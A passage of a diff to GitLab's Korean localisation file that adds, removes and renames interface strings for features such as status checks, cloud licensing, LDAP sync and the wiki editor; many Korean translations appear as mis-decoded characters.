msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "저장소 템플릿 ì„ íƒ"
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr "ëŒ€ìƒ ë¸Œëžœì¹˜ ì„ íƒ"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,8 +29193,8 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
-msgstr "사용 ë°ì´í„° 보내기"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr ""
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr "서비스 템플릿"
msgid "Service URL"
msgstr "서비스 URL"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "사용ìžì˜ ë¡œê·¸ì¸ ìš”êµ¬ ì‚¬í•­ì„ ì„¤ì •í•©ë‹ˆë‹¤. 반드시 ì´ì¤‘ ì¸ì¦ 하ë„ë¡ ì„¤ì •í•©ë‹ˆë‹¤."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr "완료 로그 표시"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr "부모 페ì´ì§€ 보기"
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr "권한 레벨, 오름차순"
-
-msgid "SortOptions|Access level, descending"
-msgstr "권한 레벨, 내림차순"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr "ìµœê·¼ì— ìƒì„±ëœ"
-msgid "SortOptions|Last joined"
-msgstr "ìµœê·¼ì— ì°¸ì—¬í•œ"
-
msgid "SortOptions|Last updated"
msgstr "ìµœê·¼ì— ì—…ë°ì´íŠ¸ ëœ"
@@ -30548,9 +30332,6 @@ msgstr "ì´ë¦„, 내림차순"
msgid "SortOptions|Oldest created"
msgstr "ìƒì„±í•œì§€ 오래ëœ"
-msgid "SortOptions|Oldest joined"
-msgstr "참여한지 오래ëœ"
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr "ì´ì „ 시작"
msgid "SortOptions|Start soon"
msgstr "최근 시작"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr "소스 (브랜치 ë˜ëŠ” 태그)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr "스테ì´ì§€"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr "저장소:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,8 +31415,8 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "ì •ë³´ ë™ê¸°í™”"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "템플릿"
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "ì´ìŠˆ 트래커는 프로ì íŠ¸ì—ì„œ 개선해야하거나 해결해야할 ì‚¬í•­ì„ ì¶”ê°€í•  수 있는 곳입니다."
@@ -32194,6 +31993,9 @@ msgstr "ì´ìŠˆ 트래커는 프로ì íŠ¸ì—ì„œ 개선해야하거나 í•´ê²°í•´ì•
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "Coding Stage는 첫 번째 커밋ì—서부터 머지 리퀘스트(MR) ìƒì„±ê¹Œì§€ì˜ ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. 첫 번째 머지 리퀘스트(MR)ì„ ìƒì„±í•˜ë©´ ë°ì´í„°ê°€ ìžë™ìœ¼ë¡œ ì—¬ê¸°ì— ì¶”ê°€ë©ë‹ˆë‹¤."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "해당 단계ì—ì„œ 수집 ëœ ë°ì´í„°ê°€ ì´ë²¤íŠ¸ 모ìŒì— 추가ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "%{timeout} ì´í›„ 가져오기 ì‹œê°„ì´ ì´ˆê³¼ë˜ì—ˆìŠµë‹ˆë‹¤. 저장소가 ëŠë¦° 경우 복제/푸시 ì¡°í•©ì„ ì‚¬ìš©í•©ì‹œì˜¤."
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "ì´ìŠˆ 단계ì—는 ì´ìŠˆë¥¼ 작성하여 마ì¼ìŠ¤í†¤ìœ¼ë¡œ 지정하는 ë° ê±¸ë¦¬ëŠ” 시간 ë˜ëŠ” ì´ìŠˆ ë³´ë“œì˜ ëª©ë¡ì— ì´ìŠˆë¥¼ 추가하는 ì‹œê°„ì´ í‘œì‹œë©ë‹ˆë‹¤. ì´ ë‹¨ê³„ì˜ ë°ì´í„°ë¥¼ 보기 위해서는 ì´ìŠˆë¥¼ 먼저 작성해야 합니다."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "개발 ìˆ˜ëª…ì£¼ê¸°ì˜ ë‹¨ê³„."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "ê³„íš ë‹¨ê³„ì—서는 ì´ì „ 단계ì—ì„œ 첫 번째 커밋 ì‹œê°„ì´ í‘œì‹œë©ë‹ˆë‹¤. ì´ ì‹œê°„ì€ ì²« 번째 ì»¤ë°‹ì„ ëˆ„ë¥´ë©´ ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Review 단계ì—서는 머지 리퀘스트(MR)를 작성한 후 ë¨¸ì§€í•˜ê¸°ê¹Œì§€ì˜ ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. ë°ì´í„°ëŠ” 첫 번째 머지 리퀘스트(MR)ì„ ë¨¸ì§€ í•œ í›„ì— ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,11 +32372,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Staging 단계ì—서는 MR 머지과 프로ë•ì…˜ í™˜ê²½ì— ì½”ë“œ ë°°í¬ ì‚¬ì´ì˜ ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. ë°ì´í„°ë¥¼ Production í™˜ê²½ì— ì²˜ìŒ ë°°í¬í•˜ë©´ ë°ì´í„°ê°€ ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "테스트 단계ì—서는 GitLab CIê°€ 관련 머지 리퀘스트(MR)ì„ ìœ„í•´ 모든 파ì´í”„ë¼ì¸ì„ 실행하는 ë° ê±¸ë¦¬ëŠ” ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. 첫 번째 파ì´í”„ë¼ì¸ ì‹¤í–‰ì´ ì™„ë£Œë˜ë©´ ë°ì´í„°ê°€ ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "해당 단계ì—ì„œ 수집 í•œ ê° ë°ì´í„° ìž…ë ¥ì— ì†Œìš” ëœ ì‹œê°„"
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "ê°’ì€ ì¼ë ¨ì˜ 관측 ê°’ 중ì ì— 있습니다. 예를 들어, 3, 5, 9 사ì´ì˜ 중간 ê°’ì€ 5입니다. 3, 5, 7, 8 사ì´ì˜ 중간 ê°’ì€ (5 + 7) / 2 = 6입니다."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "ì‚¬ìš©ìž í™œë™ ìº˜ë¦°ë”를 로딩하는 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,8 +32792,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "타사 제공"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
@@ -33098,6 +32888,9 @@ msgstr "ì´ ë³´ë“œì˜ ë²”ìœ„ê°€ 축소ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr "ì´ ë¹„êµëŠ” 접혀있습니다."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr "ì´ ë””ë ‰í† ë¦¬"
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr "GitHub ì €ìž¥ì†Œì— ì—°ê²°í•˜ë ¤ë©´, 먼저 GitHub 저장소 목ë¡ì„ ì
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "SVN ì €ìž¥ì†Œì— ì—°ê²°í•˜ë ¤ë©´ %{svn_link}ì„ í™•ì¸í•˜ì‹­ì‹œì˜¤."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "ë‚´ì¼"
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "퀵 ì•¡ì…˜ 시간 추ì "
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr "GitLab ì„±ëŠ¥ì— ì˜í–¥ì„ 주는 여러가지 설정."
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "ì¸ì¦ ì •ë³´"
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "그룹 ë¼ë²¨ 보기"
@@ -35905,9 +35707,6 @@ msgstr "GitLabì—ì„œ 보기"
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "프로ì íŠ¸ ë¼ë²¨ 보기"
@@ -36010,7 +35812,10 @@ msgstr "ì•Œ 수 ì—†ìŒ"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr "정확한 현재 비밀번호를 제공해야 합니다."
msgid "You must provide your current password in order to change it."
msgstr "비밀번호를 변경하기 위해서 현재 비밀번호를 제공해야 합니다."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
